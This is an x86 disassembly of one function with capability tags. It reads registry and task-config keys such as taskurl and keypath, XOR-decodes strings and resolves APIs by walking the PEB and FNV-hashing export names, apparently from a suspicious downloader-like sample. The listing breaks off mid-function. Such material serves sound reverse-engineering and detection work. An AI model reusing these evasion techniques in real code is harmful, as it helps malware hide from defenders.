Function at 0x471d80
Capabilities:
Access peb ldr_data
Encode data using xor
Get number of processors
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5fcfb3
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x4c0
mov eax, dword [0x672494]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x228], ecx
xor edi, edi
lea eax, [ebp - 0x54]
push edi
push str.downsrc
push str.Software
push eax
mov dword [ebp - 0x204], edi
mov dword [ebp - 0x210], edi
call fcn.004802d0
mov dword [ebp - 4], edi
lea ecx, [ebp - 0x54]
cmp dword [ebp - 0x40], 8
mov edx, dword [ebp - 0x44]
cmovae ecx, dword [ebp - 0x54]
push 4
push str.syzs
push ecx
call fcn.004245c0
add esp, 0xc
cmp eax, 0xffffffff
je 0x471e2a
lea ecx, [ebp - 0x54]
mov dword [ebp - 4], 0xffffffff
call fcn.0040f8c0
mov dword [ebp - 0x224], 1
jmp 0x471e88
push 0
push str.softname
push str.Software
lea eax, [ebp - 0x6c]
push eax
call fcn.004802d0
cmp dword [ebp - 0x58], 8
lea ecx, [ebp - 0x6c]
mov edx, dword [ebp - 0x5c]
cmovae ecx, dword [ebp - 0x6c]
push 6
push 0x64d9ec
push ecx
call fcn.004245c0
add esp, 0xc
lea ecx, [ebp - 0x6c]
cmp eax, 0xffffffff
je 0x471e6c
call fcn.0040f8c0
jmp 0x471e0f
call fcn.0040f8c0
lea ecx, [ebp - 0x54]
mov dword [ebp - 4], 0xffffffff
call fcn.0040f8c0
xor eax, eax
mov dword [ebp - 0x224], eax
mov dword [ebp - 0x22c], 0
mov dword [ebp - 0x20c], 0
nop dword [eax]
push 5
push str.Tasks
lea ecx, [ebp - 0x390]
mov dword [ebp - 0x380], 0
mov dword [ebp - 0x37c], 0xf
mov byte [ebp - 0x390], 0
call fcn.0040eb70
mov dword [ebp - 4], 1
lea ecx, [ebp - 0x2a0]
push 6
push str.Config
mov dword [ebp - 0x290], 0
mov dword [ebp - 0x28c], 0xf
mov byte [ebp - 0x2a0], 0
call fcn.0040eb70
lea eax, [ebp - 0x390]
mov byte [ebp - 4], 2
push eax
lea eax, [ebp - 0x2a0]
mov ecx, 0x67f530
push eax
call fcn.0040d1b0
mov ecx, eax
call fcn.0040d1b0
mov ecx, dword [eax + 8]
cmp ecx, 1
jne 0x471f33
mov eax, dword [eax]
mov esi, dword [eax + 4]
jmp 0x471f42
cmp ecx, 2
jne 0x471f3f
mov eax, dword [eax]
mov esi, dword [eax + 0x10]
jmp 0x471f42
or esi, 0xffffffff
mov byte [ebp - 4], 1
mov edx, dword [ebp - 0x28c]
cmp edx, 0x10
jb 0x471f80
mov ecx, dword [ebp - 0x2a0]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x471f76
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4734b0
push edx
push ecx
call fcn.004d0c91
add esp, 8
mov dword [ebp - 4], 0xffffffff
mov edx, dword [ebp - 0x37c]
mov dword [ebp - 0x290], 0
mov dword [ebp - 0x28c], 0xf
mov byte [ebp - 0x2a0], 0
cmp edx, 0x10
jb 0x471fdc
mov ecx, dword [ebp - 0x390]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x471fd2
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4734b0
push edx
push ecx
call fcn.004d0c91
add esp, 8
cmp dword [ebp - 0x20c], esi
jge 0x47348d
push 5
push str.Tasks
lea ecx, [ebp - 0x2d0]
mov dword [ebp - 0x2c0], 0
mov dword [ebp - 0x2bc], 0xf
mov byte [ebp - 0x2d0], 0
call fcn.0040eb70
mov dword [ebp - 4], 3
lea ecx, [ebp - 0x2b8]
push 6
push str.Config
mov dword [ebp - 0x2a8], 0
mov dword [ebp - 0x2a4], 0xf
mov byte [ebp - 0x2b8], 0
call fcn.0040eb70
push dword [ebp - 0x20c]
lea eax, [ebp - 0x2d0]
mov byte [ebp - 4], 4
push eax
lea eax, [ebp - 0x2b8]
mov ecx, 0x67f530
push eax
call fcn.0040d1b0
mov ecx, eax
call fcn.0040d1b0
mov ecx, eax
call fcn.0040bcc0
push eax
lea ecx, [ebp - 0x240]
call fcn.0040c170
mov byte [ebp - 4], 6
mov edx, dword [ebp - 0x2a4]
cmp edx, 0x10
jb 0x4720c3
mov ecx, dword [ebp - 0x2b8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4720b9
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4734b0
push edx
push ecx
call fcn.004d0c91
add esp, 8
mov dword [ebp - 0x2a8], 0
mov dword [ebp - 0x2a4], 0xf
mov byte [ebp - 0x2b8], 0
mov byte [ebp - 4], 7
mov edx, dword [ebp - 0x2bc]
cmp edx, 0x10
jb 0x47211c
mov ecx, dword [ebp - 0x2d0]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x472112
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4734b0
push edx
push ecx
call fcn.004d0c91
add esp, 8
push 8
push 0x64c1c4
lea ecx, [ebp - 0x3a8]
mov dword [ebp - 0x2c0], 0
mov dword [ebp - 0x2bc], 0xf
mov byte [ebp - 0x2d0], 0
mov dword [ebp - 0x398], 0
mov dword [ebp - 0x394], 0xf
mov byte [ebp - 0x3a8], 0
call fcn.0040eb70
lea eax, [ebp - 0x3a8]
mov byte [ebp - 4], 8
push eax
lea ecx, [ebp - 0x240]
call fcn.0040d1b0
cmp dword [eax + 8], 7
jne 0x472184
mov esi, dword [eax]
jmp 0x472186
xor esi, esi
mov byte [ebp - 4], 7
mov edx, dword [ebp - 0x394]
cmp edx, 0x10
jb 0x4721c4
mov ecx, dword [ebp - 0x3a8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4721ba
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4734b0
push edx
push ecx
call fcn.004d0c91
add esp, 8
mov dword [ebp - 0x18], 0
sub esi, 1
je 0x47319d
sub esi, 1
je 0x4732cf
sub esi, 1
mov esi, dword [ebp - 0x20c]
jne 0x472fa7
push esi
push str.rootkey
push 2
call fcn.0047d3c0
test eax, eax
je 0x4726c6
push esi
push str.keyname
push 2
call fcn.0047d3c0
test eax, eax
je 0x4726c6
push 7
push str.keyname
lea ecx, [ebp - 0x3c0]
mov dword [ebp - 0x3b0], 0
mov dword [ebp - 0x3ac], 0xf
mov byte [ebp - 0x3c0], 0
call fcn.0040eb70
lea eax, [ebp - 0x458]
mov byte [ebp - 4], 0x13
push eax
lea eax, [ebp - 0x3c0]
push eax
lea ecx, [ebp - 0x240]
call fcn.0040d1b0
mov ecx, eax
call fcn.00441460
mov edi, eax
mov dword [ebp - 0x220], eax
mov byte [ebp - 4], 0x14
movups xmm0, xmmword [str.lTRRNJ__]
movups xmmword [ebp - 0x410], xmm0
movups xmm0, xmmword [0x64f000]
pextrw ecx, xmm0, 7
movups xmmword [ebp - 0x400], xmm0
test cx, cx
je 0x4723fe
xor esi, esi
cmp dword [0x67be1c], 2
jl 0x4723d5
movaps xmm4, xmmword [0x654300]
mov eax, 4
movaps xmm3, xmmword [0x6543d0]
xor ecx, ecx
movaps xmm6, xmmword [str.2222]
movd xmm5, eax
mov eax, 0x1f
movd xmm7, eax
nop word [eax + eax]
movd xmm0, ecx
lea eax, [ecx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
punpckldq xmm1, xmm2
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
movq xmm0, qword [str.99999999]
paddw xmm1, xmm0
movq xmm0, qword [ebp + ecx*2 - 0x410]
pxor xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movq qword [ebp + ecx*2 - 0x410], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
movq xmm0, qword [str.99999999]
paddw xmm1, xmm0
movq xmm0, qword [ebp + ecx*2 - 0x408]
pxor xmm1, xmm0
movq qword [ebp + ecx*2 - 0x408], xmm1
add ecx, 8
cmp ecx, 0x10
jl 0x4722e0
jmp 0x4723fe
mov eax, 0x51eb851f
mov ecx, esi
imul esi
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
imul eax, eax, 0x32
sub ecx, eax
add ecx, 0x39
xor word [ebp + esi*2 - 0x410], cx
inc esi
cmp esi, 0x10
jl 0x4723d5
cmp dword [edi + 0x14], 8
jb 0x47240c
mov edi, dword [edi]
mov dword [ebp - 0x220], edi
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
movzx ecx, word [eax + 0x2c]
mov esi, 0x811c9dc5
mov edi, dword [eax + 0x30]
and ecx, 0xfffffffe
mov dword [ebp - 0x21c], 0
mov dword [ebp - 0x214], eax
mov dword [ebp - 0x204], 0
lea edx, [ecx + edi]
inc ecx
shr ecx, 1
cmp edi, edx
cmova ecx, dword [ebp - 0x21c]
mov dword [ebp - 0x21c], ecx
test ecx, ecx
je 0x472492
mov eax, dword [ebp - 0x204]
mov dl, byte [edi]
lea ecx, [edx - 0x41]
cmp cl, 0x19
movsx ecx, dl
ja 0x472470
or ecx, 0x20
xor esi, ecx
inc eax
imul esi, esi, 0x1000193
add edi, 2
cmp eax, dword [ebp - 0x21c]
jne 0x472460
mov eax, dword [ebp - 0x214]
cmp esi, 0x8ec4c73b
je 0x472496
mov eax, dword [eax]
jmp 0x472418
mov esi, dword [eax + 0x18]
mov eax, dword [0x67f40c]
mov dword [ebp - 0x21c], esi
test eax, eax
jne 0x472575
test esi, esi
je 0x47256e
mov eax, dword [esi + 0x3c]
mov ecx, dword [eax + esi + 0x78]
mov eax, dword [eax + esi + 0x7c]
add ecx, esi
mov dword [ebp - 0x214], eax
xor eax, eax
mov dword [ebp - 0x214], ecx
cmp ecx, esi
je 0x472570
mov dword [ebp - 0x204], eax
cmp dword [ecx + 0x18], eax
je 0x47256e
mov edi, dword [ecx + 0x20]
add edi, esi
nop dword [eax + eax]
mov edx, dword [edi]
add edx, esi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x47252a
lea eax, [ecx - 0x41]
cmp al, 0x19
movsx eax, cl
ja 0x47250d
or eax, 0x20
mov cl, byte [edx]
xor esi, eax
imul esi, esi, 0x1000193
inc edx
test cl, cl
jne 0x472500
cmp esi, 0xc626c590
je 0x472547
mov eax, dword [ebp - 0x204]
mov ecx, dword [ebp - 0x214]
inc eax
add edi, 4
mov dword [ebp - 0x204], eax
cmp eax, dword [ecx + 0x18]
je 0x47256e
mov esi, dword [ebp - 0x21c]
jmp 0x4724f0
mov eax, dword [ebp - 0x214]
mov esi, dword [ebp - 0x21c]
mov edx, dword [ebp - 0x204]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, esi
add eax, esi
movzx eax, word [eax + edx*2]
mov eax, dword [ecx + eax*4]
add eax, esi
jmp 0x472570
xor eax, eax
mov dword [0x67f40c], eax
lea ecx, [ebp - 0x410]
push ecx
push dword [ebp - 0x220]
call eax
test eax, eax
lea ecx, [ebp - 0x458]
sete byte [ebp - 0x205]
call fcn.0040f8c0
mov byte [ebp - 4], 7
mov edx, dword [ebp - 0x3ac]
cmp edx, 0x10
jb 0x4725d6
mov ecx, dword [ebp - 0x3c0]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4725cc
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4734b0
push edx
push ecx
call fcn.004d0c91
add esp, 8
cmp byte [ebp - 0x205], 0
je 0x4726b4
push 7
push str.rootkey
lea ecx, [ebp - 0x3d8]
mov dword [ebp - 0x3c8], 0
mov dword [ebp - 0x3c4], 0xf
mov byte [ebp - 0x3d8], 0
call fcn.0040eb70
lea eax, [ebp - 0x470]
mov byte [ebp - 4], 0x15
push eax
lea eax, [ebp - 0x3d8]
push eax
lea ecx, [ebp - 0x240]
call fcn.0040d1b0
mov ecx, eax
call fcn.00441460
mov byte [ebp - 4], 0x16
cmp dword [eax + 0x14], 8
jb 0x472640
mov eax, dword [eax]
push eax
push ecx
mov ecx, dword [ebp - 0x228]
call fcn.00474890
lea ecx, [ebp - 0x470]
mov esi, eax
call fcn.0040f8c0
mov byte [ebp - 4], 7
mov edx, dword [ebp - 0x3c4]
cmp edx, 0x10
jb 0x472698
mov ecx, dword [ebp - 0x3d8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x47268e
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4734b0
push edx
push ecx
call fcn.004d0c91
add esp, 8
test esi, esi
je 0x4726b4
mov edi, dword [ebp - 0x210]
mov dword [ebp - 0x18], 1
mov dword [ebp - 0x204], edi
jmp 0x472af0
mov edi, dword [ebp - 0x210]
mov esi, dword [ebp - 0x20c]
mov dword [ebp - 0x204], edi
cmp dword [ebp - 0x18], 0
jne 0x472db3
push esi
push str.keypath
push 2
call fcn.0047d3c0
test eax, eax
je 0x472af0
xorps xmm0, xmm0
mov dword [ebp - 0x1c], 0
movq qword [ebp - 0x24], xmm0
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x1c], 0
mov byte [ebp - 4], 0x17
lea ecx, [ebp - 0x2e8]
push 7
push str.keypath
mov dword [ebp - 0x2d8], 0
mov dword [ebp - 0x2d4], 0xf
mov byte [ebp - 0x2e8], 0
call fcn.0040eb70
lea eax, [ebp - 0x3c]
mov byte [ebp - 4], 0x18
push eax
lea eax, [ebp - 0x2e8]
push eax
lea ecx, [ebp - 0x240]
call fcn.0040d1b0
mov ecx, eax
call fcn.00441460
mov byte [ebp - 4], 0x1a
mov edx, dword [ebp - 0x2d4]
cmp edx, 0x10
jb 0x472799
mov ecx, dword [ebp - 0x2e8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x47278f
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4734b0
push edx
push ecx
call fcn.004d0c91
add esp, 8
mov dword [ebp - 0x2d8], 0
mov dword [ebp - 0x2d4], 0xf
mov byte [ebp - 0x2e8], 0
cmp dword [ebp - 0x28], 8
lea ecx, [ebp - 0x3c]
mov edx, dword [ebp - 0x2c]
cmovae ecx, dword [ebp - 0x3c]
push 1
push 0x64c1d0
push ecx
call fcn.004245c0
mov esi, eax
add esp, 0xc
cmp esi, 0xffffffff
je 0x472947
xor eax, eax
mov dword [ebp - 0x248], 0
cmp dword [ebp - 0x2c], esi
mov ecx, esi
mov word [ebp - 0x258], ax
lea eax, [ebp - 0x3c]
cmovb ecx, dword [ebp - 0x2c]
cmp dword [ebp - 0x28], 8
push ecx
cmovae eax, dword [ebp - 0x3c]
lea ecx, [ebp - 0x258]
push eax
mov dword [ebp - 0x244], 7
call fcn.00417d60
or edi, 8
mov dword [ebp - 0x204], edi
mov byte [ebp - 4], 0x1b
mov eax, dword [ebp - 0x20]
cmp dword [ebp - 0x1c], eax
je 0x472871
movups xmm0, xmmword [ebp - 0x258]
mov dword [eax + 0x10], 0
movups xmmword [eax], xmm0
movq xmm0, qword [ebp - 0x248]
movq qword [eax + 0x10], xmm0
xor eax, eax
add dword [ebp - 0x20], 0x18
mov dword [ebp - 0x248], 0
mov dword [ebp - 0x244], 7
mov word [ebp - 0x258], ax
jmp 0x472881
lea ecx, [ebp - 0x258]
push ecx
push eax
lea ecx, [ebp - 0x24]
call fcn.004153e0
lea ecx, [ebp - 0x258]
mov byte [ebp - 4], 0x1a
call fcn.0040f8c0
xor eax, eax
mov dword [ebp - 0x2f0], 0
inc esi
mov word [ebp - 0x300], ax
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x2ec], 7
cmp eax, esi
jb 0x4734b5
sub eax, esi
or ecx, 0xffffffff
cmp eax, 0xffffffff
cmovb ecx, eax
cmp dword [ebp - 0x28], 8
lea eax, [ebp - 0x3c]
cmovae eax, dword [ebp - 0x3c]
push ecx
lea ecx, [ebp - 0x300]
lea eax, [eax + esi*2]
push eax
call fcn.00417d60
mov eax, dword [ebp - 0x204]
lea ecx, [ebp - 0x3c]
or eax, 0x10
mov dword [ebp - 0x204], eax
mov dword [ebp - 0x210], eax
call fcn.0040f8c0
movups xmm0, xmmword [ebp - 0x300]
xor eax, eax
lea ecx, [ebp - 0x300]
mov word [ebp - 0x300], ax
movups xmmword [ebp - 0x3c], xmm0
movq xmm0, qword [ebp - 0x2f0]
movq qword [ebp - 0x2c], xmm0
mov dword [ebp - 0x2f0], 0
mov dword [ebp - 0x2ec], 7
call fcn.0040f8c0
mov edi, dword [ebp - 0x204]
jmp 0x4727b4
mov eax, dword [ebp - 0x20]
lea ecx, [ebp - 0x3c]
push ecx
cmp dword [ebp - 0x1c], eax
je 0x472965
mov ecx, eax
call fcn.0040c5c0
mov edx, dword [ebp - 0x20]
add edx, 0x18
mov dword [ebp - 0x20], edx
jmp 0x472971
push eax
lea ecx, [ebp - 0x24]
call fcn.00438350
mov edx, dword [ebp - 0x20]
sub edx, dword [ebp - 0x24]
mov eax, 0x2aaaaaab
imul edx
xor ecx, ecx
sar edx, 2
mov eax, edx
mov dword [ebp - 0x214], ecx
shr eax, 0x1f
add eax, edx
je 0x472adc
mov edi, dword [ebp - 0x24]
xor esi, esi
nop dword [eax + eax]
cmp dword [esi + edi + 0x14], 8
lea edx, [esi + edi]
jb 0x4729ac
mov edx, dword [edx]
mov ecx, edx
mov dword [ebp - 0x418], 0
xor eax, eax
mov dword [ebp - 0x414], 7
mov word [ebp - 0x428], ax
lea edi, [ecx + 2]
nop
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x4729d0
sub ecx, edi
sar ecx, 1
push ecx
push edx
lea ecx, [ebp - 0x428]
call fcn.00417d60
xor edx, edx
mov byte [ebp - 4], 0x1c
lea ecx, [ebp - 0x428]
call fcn.004125b0
lea ecx, [ebp - 0x428]
mov dword [ebp - 0x18], eax
mov byte [ebp - 4], 0x1a
call fcn.0040f8c0
cmp dword [ebp - 0x18], 0
jne 0x472ad6
push 1
push str.General
call fcn.0047f920
test eax, eax
je 0x472aa2
mov edx, dword [ebp - 0x24]
add edx, esi
cmp dword [edx + 0x14], 8
jb 0x472a36
mov edx, dword [edx]
mov ecx, edx
mov dword [ebp - 0x430], 0
xor eax, eax
mov dword [ebp - 0x42c], 7
mov word [ebp - 0x440], ax
lea edi, [ecx + 2]
nop dword [eax + eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x472a60
sub ecx, edi
sar ecx, 1
push ecx
push edx
lea ecx, [ebp - 0x440]
call fcn.00417d60
mov edx, 1
mov byte [ebp - 4], 0x1d
lea ecx, [ebp - 0x440]
call fcn.004125b0
lea ecx, [ebp - 0x440]
mov dword [ebp - 0x18], eax
mov byte [ebp - 4], 0x1a
call fcn.0040f8c0
cmp dword [ebp - 0x18], 0
jne 0x472ad6
mov ecx, dword [ebp - 0x20]
mov eax, 0x2aaaaaab
mov edi, dword [ebp - 0x24]
add esi, 0x18
inc dword [ebp - 0x214]
sub ecx, edi
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
cmp dword [ebp - 0x214], eax
jb 0x4729a0
mov edi, dword [ebp - 0x204]
lea ecx, [ebp - 0x3c]
call fcn.0040f8c0
lea ecx, [ebp - 0x24]
mov byte [ebp - 4], 7
call fcn.004141a0
cmp dword [ebp - 0x18], 0
jne 0x472db3
push 6
push 0x648ab0
lea ecx, [ebp - 0x3f0]
mov dword [ebp - 0x3e0], 0
mov dword [ebp - 0x3dc], 0xf
mov byte [ebp - 0x3f0], 0
call fcn.0040eb70
lea eax, [ebp - 0x3f0]
mov byte [ebp - 4], 0x1e
push eax
lea ecx, [ebp - 0x240]
call fcn.0040d1b0
cmp dword [eax + 8], 7
jne 0x472b47
mov edi, dword [eax]
jmp 0x472b49
xor edi, edi
mov byte [ebp - 4], 7
mov edx, dword [ebp - 0x3dc]
cmp edx, 0x10
jb 0x472b87
mov ecx, dword [ebp - 0x3f0]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x472b7d
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4734b0
push edx
push ecx
call fcn.004d0c91
add esp, 8
push 9
push str.repeatday
lea ecx, [ebp - 0x348]
mov dword [ebp - 0x338], 0
mov dword [ebp - 0x334], 0xf
mov byte [ebp - 0x348], 0
call fcn.0040eb70
lea eax, [ebp - 0x348]
mov byte [ebp - 4], 0x1f
push eax
lea ecx, [ebp - 0x240]
call fcn.0040d1b0
cmp dword [eax + 8], 7
jne 0x472bd4
mov esi, dword [eax]
jmp 0x472bd6
xor esi, esi
mov byte [ebp - 4], 7
mov edx, dword [ebp - 0x334]
mov dword [ebp - 0x214], esi
cmp edx, 0x10
jb 0x472c1a
mov ecx, dword [ebp - 0x348]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x472c10
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4734b0
push edx
push ecx
call fcn.004d0c91
add esp, 8
test esi, esi
jg 0x472c3a
push 0x1b
push str.Option
call fcn.0047f920
test eax, eax
mov eax, 1
cmovne esi, eax
mov dword [ebp - 0x214], esi
mov ecx, edi
call fcn.0041f770
lea ecx, [ebp - 0xd8]
mov dword [ebp - 0x220], eax
call fcn.00452450
lea eax, [ebp - 0x78]
push eax
call fcn.00578cfa
add esp, 4
lea eax, [ebp - 0x78]
push eax
lea eax, [ebp - 0xfc]
push eax
call fcn.00578fc6
mov eax, dword [ebp - 0xf0]
add esp, 8
mov ecx, dword [ebp - 0xe8]
mov dword [ebp - 0xd0], eax
add ecx, 0x76c
mov eax, dword [ebp - 0xf4]
mov dword [ebp - 0xcc], eax
mov eax, 0x51eb851f
imul ecx
mov edi, dword [ebp - 0xec]
mov dword [ebp - 0xd8], ecx
inc edi
mov eax, dword [ebp - 0xd8]
sar edx, 5
mov esi, edx
mov dword [ebp - 0xd4], edi
shr esi, 0x1f
add esi, edx
imul ecx, esi, 0x64
sub eax, ecx
lea ecx, [esi + esi*2]
cdq
and edx, 3
add eax, edx
sar eax, 2
add eax, dword [ebp + edi*4 - 0xc8]
lea esi, [eax + ecx*8]
mov eax, 0x51eb851f
imul dword [ebp - 0xd8]
imul eax, dword [ebp - 0xd8], 0x16d
sar edx, 7
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
add ecx, dword [ebp - 0xf0]
add ecx, esi
add eax, ecx
mov ecx, dword [ebp - 0xf4]
lea eax, [eax + eax*2]
lea eax, [ecx + eax*8]
sub eax, dword [ebp - 0x220]
lea ecx, [ebp - 0xd8]
push eax
call fcn.004525e0
mov edi, dword [ebp - 0xd8]
mov eax, 0x51eb851f
imul edi
mov eax, edi
sar edx, 5
mov esi, edx
shr esi, 0x1f
add esi, edx
imul ecx, esi, 0x64
sub eax, ecx
mov ecx, dword [ebp - 0xd4]
cdq
and edx, 3
add eax, edx
sar eax, 2
add eax, dword [ebp + ecx*4 - 0xc8]
lea ecx, [esi + esi*2]
lea esi, [eax + ecx*8]
mov eax, 0x51eb851f
imul edi
sar edx, 7
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
imul eax, edi, 0x16d
add ecx, dword [ebp - 0xd0]
add ecx, esi
mov edi, dword [ebp - 0x204]
add eax, ecx
lea ecx, [eax + eax*2]
mov eax, dword [ebp - 0xcc]
lea ecx, [eax + ecx*8]
mov eax, 0x2aaaaaab
imul ecx
mov eax, dword [ebp - 0x18]
sar edx, 2
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
cmp ecx, dword [ebp - 0x214]
mov ecx, 1
cmovle eax, ecx
mov dword [ebp - 0x18], eax
mov esi, dword [ebp - 0x228]
cmp dword [esi + 0xb18], 0
je 0x472e5d
lea ecx, [ebp - 0x200]
call fcn.0048ea10
mov eax, ecx
mov byte [ebp - 4], 0x20
push eax
push dword [ebp - 0x20c]
call fcn.0047ac50
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x200]
push eax
mov eax, dword [esi + 0xb18]
call eax
lea ecx, [ebp - 0x134]
mov byte [ebp - 4], 7
call fcn.0040f8c0
lea ecx, [ebp - 0x14c]
call fcn.0040f8c0
lea ecx, [ebp - 0x164]
call fcn.0040f8c0
lea ecx, [ebp - 0x17c]
call fcn.0040f8c0
lea ecx, [ebp - 0x194]
call fcn.0040f8c0
lea ecx, [ebp - 0x1ac]
call fcn.0040f8c0
lea ecx, [ebp - 0x1c4]
call fcn.0040f8c0
lea ecx, [ebp - 0x1dc]
call fcn.0040f8c0
lea ecx, [ebp - 0x1f4]
call fcn.0040f8c0
cmp dword [ebp - 0x18], 0
jne 0x472ef9
push 7
push str.taskurl
lea ecx, [ebp - 0x360]
mov dword [ebp - 0x350], 0
mov dword [ebp - 0x34c], 0xf
mov byte [ebp - 0x360], 0
call fcn.0040eb70
lea eax, [ebp - 0x488]
mov byte [ebp - 4], 0x21
push eax
lea eax, [ebp - 0x360]
or edi, 1
push eax
lea ecx, [ebp - 0x240]
mov dword [ebp - 0x210], edi
call fcn.0040d1b0
mov ecx, eax
call fcn.00441460
or edi, 2
mov ecx, eax
mov dword [ebp - 0x204], edi
mov dword [ebp - 0x210], edi
cmp dword [eax + 0x14], 8
jb 0x472eda
mov ecx, dword [eax]
mov edx, dword [eax + 0x10]
push 4
push str.syzs
push ecx
call fcn.004245c0
add esp, 0xc
mov byte [ebp - 0x205], 1
cmp eax, 0xffffffff
jne 0x472f00
mov byte [ebp - 0x205], 0
mov eax, dword [ebp - 0x204]
test al, 2
je 0x472f2a
and eax, 0xfffffffd
lea ecx, [ebp - 0x488]
mov dword [ebp - 0x204], eax
mov dword [ebp - 0x210], eax
call fcn.0040f8c0
mov eax, dword [ebp - 0x204]
mov dword [ebp - 4], 7
test al, 1
je 0x472f7e
mov edx, dword [ebp - 0x34c]
and eax, 0xfffffffe
mov dword [ebp - 0x204], eax
mov dword [ebp - 0x210], eax
cmp edx, 0x10
jb 0x472f7e
mov ecx, dword [ebp - 0x360]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x472f74
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4734b0
push edx
push ecx
call fcn.004d0c91
add esp, 8
cmp byte [ebp - 0x205], 0
je 0x472f9b
cmp dword [ebp - 0x224], 0
je 0x4731ba
mov dword [ebp - 0x18], 1
mov esi, dword [ebp - 0x20c]
mov edi, dword [ebp - 0x204]
cmp dword [ebp - 0x18], 0
je 0x47319d
push 4
push str.skip
lea ecx, [ebp - 0x288]
mov dword [ebp - 0x278], 0
mov dword [ebp - 0x274], 0xf
mov byte [ebp - 0x288], 0
call fcn.0040eb70
mov byte [ebp - 4], 0x23
lea ecx, [ebp - 0x270]
push 5
push str.Tasks
mov dword [ebp - 0x260], 0
mov dword [ebp - 0x25c], 0xf
mov byte [ebp - 0x270], 0
call fcn.0040eb70
mov byte [ebp - 4], 0x24
lea ecx, [ebp - 0x330]
push 6
push str.Config
mov dword [ebp - 0x320], 0
mov dword [ebp - 0x31c], 0xf
mov byte [ebp - 0x330], 0
call fcn.0040eb70
lea eax, [ebp - 0x288]
mov byte [ebp - 4], 0x25
push eax
push esi
lea eax, [ebp - 0x270]
mov ecx, 0x67f530
push eax
lea eax, [ebp - 0x330]
push eax
call fcn.0040d1b0
mov ecx, eax
call fcn.0040d1b0
mov ecx, eax
call fcn.0040bcc0
mov ecx, eax
call fcn.0040d1b0
mov esi, eax
cmp dword [esi + 8], 8
je 0x47308f
mov ecx, esi
call fcn.0040dac0
mov dword [esi + 8], 8
mov byte [esi], 1
mov byte [ebp - 4], 0x24
mov edx, dword [ebp - 0x31c]
cmp edx, 0x10
jb 0x4730d0
mov ecx, dword [ebp - 0x330]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4730c6
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4734b0
push edx
push ecx
